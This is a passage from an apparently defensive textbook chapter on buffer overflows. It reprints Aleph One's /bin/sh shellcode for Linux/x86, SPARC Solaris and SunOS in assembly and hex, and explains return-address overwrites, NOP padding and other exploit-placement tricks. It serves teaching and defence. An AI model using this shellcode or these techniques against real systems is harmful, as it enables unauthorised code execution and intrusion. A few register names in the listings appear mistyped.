}
```

The XOR thing is a good sneaky approach, but it still may not be enough. We really need to look over the assembly and its mapping to hexadecimal to see if any null bytes are generated anywhere by the compiler. When we do find null bytes, we usually have to rewrite the binary code to get rid of them. Removing null bytes is best accomplished by compiling to assembly, then tweaking the assembly code.

Of course, we can circumvent all of these sticky issues by looking up some shell-launching code that is known to work, and copying it. The well-known hacker Aleph One has produced such code for Linux, Solaris, and SunOS, available in his excellent tutorial on buffer overflows, *Smashing the Stack for Fun and Profit* [Aleph, 1996]. We reproduce the code for each platform here, in both assembly and hexadecimal as an ASCII string.

Linux on Intel machines, assembly:

```
jmp         0x1f
popl        %esi
movl        %esi, 0x8(%esi)
xorl        %eax,%eax
movb        %eax,0x7(%esi)
movl        %eax,0xc(%esi)
movb        $0xb,%al
movl        %esi,%ebx
leal        0x8(%esi),%ecx
leal        0xc(%esi),%edx
int         $0x80
xorl        %ebx,%ebx
movl        %ebx,%eax
inc         %eax
int         $0x80
call        -0x24
.string     \"/bin/sh\"
```

Linux on Intel machines, as an ASCII string:

```
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\
x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\
x80\xe8\xdc\xff\xff\xff/bin/sh"
```

SPARC Solaris, in assembly:

```
sethi       0xbd89a, %l6
or          %l6, 0x16e, %l6
sethi       0xbdcda, %l7
and         %sp, %sp, %o0
```

```
add         %sp, 8, %o1
xor         %o2, %o2, %o2
add         %sp, 16, %sp
std         %16, [%sp - 16]
st          %sp, [%sp - 8]
st          %g0, [%sp - 4]
mov         0x3b, %g1
ta          8
xor         %o7, %o7, %o0
mov         1, %g1
ta          8
```

SPARC Solaris, as an ASCII string:

```
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\
x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\
xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08\
x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"
```

SPARC SunOS, in assembly:

```
sethi       0xbd89a, %l6
or          %16, 0x16e, %l6
sethi       0xbdcda, %l7
and         %sp, %sp, %o0
add         %sp, 8, %o1
xor         %o2, %o2, %o2
add         %sp, 16, %sp
std         %l6, [%sp - 16]
st          %sp, [%sp - 8]
st          %g0, [%sp - 4]
mov         0x3b, %g1
mov         -0x1, %l5
ta          %l5 + 1
xor         %o7, %o7, %o0
mov         1, %g1
ta          %l5 + 1
```

SPARC SunOS, as an ASCII string:

```
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\
x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\
xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff\
x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"
```

Now that we have exploit code we need to stick it on the stack (or somewhere else that is accessible through a jump). Then we need to determine the exploit code's exact address, and overwrite the original return address so that program execution jumps to the address of our exploit.

Fortunately, we know from experience that the start of the stack is always the same address for a particular program, which helps. But the actual value of the exploit code's address is important too. What if that address has a null byte in it (something that is all too common in Windows applications)? One solution that works is to find a piece of code that lives in the program memory and that executes a jump or a return to the stack pointer. When the executing function returns, control marches on to the exploit code address just after the stack pointer is updated to point right to our code. Of course, we have to make sure that the address with this instruction does not contain a null byte itself.

If we've done enough analysis of the program itself, we may already know the memory address of the buffer we want to overflow. Sometimes, such as when you don't have a copy of the program source to play with, you may do well to figure things out by trial and error. When you identify a buffer you can overflow, you can generally figure out the distance from the start of the buffer to the return address by slowly shrinking a test string until the program stops crashing. Then it's a matter of figuring out the actual address to which you need to jump.

Knowing approximately where the stack starts is a big help. We can find out by trial and error. Unfortunately, we have to get the address exactly right, down to the byte; otherwise, the program crashes. Coming up with the right address using the trial-and-error approach may take a while. To make things easier, we can insert lots of null operations in front of the shell code. Then, if we come close but don't get things exactly right, the code still executes. This trick can greatly reduce the amount of time we spend trying to figure out exactly where on the stack our code was deposited.

Sometimes we won't be able to overflow a buffer with arbitrary amounts of data. There are several reasons why this may be the case. For example, we may find a `strncpy` that copies up to 100 bytes into a 32-byte buffer. In this case we can overflow 68 bytes, but no more. Another common problem is that overwriting part of the stack sometimes has disastrous consequences before the exploit occurs. Usually this happens when essential parameters or other local variables that are supposed to be used before the function returns get overwritten. If overwriting the return address without causing a crash is not even possible, the answer is to try to reconstruct and mimic the state of the stack before exploiting the overflow.

If a genuine size limitation exists, but we can still overwrite the return address, there are a few options left. We can try to find a heap overflow, and place our code in the heap instead. Jumping into the heap is always possible. Another option is to place the shell code in an environment variable, which is generally stored at the top of the stack.

What about Windows?

Windows tends to offer some additional difficulties beyond the traditional UNIX platform issues when it comes to crafting an exploit. The most challenging hurdle is that many interesting functions you may want to call are dynamically loaded. Figuring out where those functions live in memory can be difficult. If they aren't already in memory, you have to figure out how to load them.

To find all this information, you need to have an idea of which DLLs (Dynamically Linked Libraries) are loaded when your code executes and start searching the import tables of those DLLs. (They stay the same as long as you are using the same version of a DLL.) This turns out to be really hard. If you're really interested, "Dildog" goes into much detail on crafting a buffer overflow exploit for Windows platforms in his paper, "The Tao of Windows Buffer Overflow," to which we link on this book's companion Web site.

Conclusion

We have covered lots of ground in this chapter. The take-home message is *program carefully* so your code is not susceptible to buffer overflow. Use source-code scanning tools whenever possible, especially considering that not everyone wants to use runtime tools such as automatic bounds checking or Stackguard. If you do have to create an exploit (hopefully for legitimate purposes, such as demonstrating that a piece of software really is vulnerable), remember that leveraging the work of others wherever possible makes things a lot easier.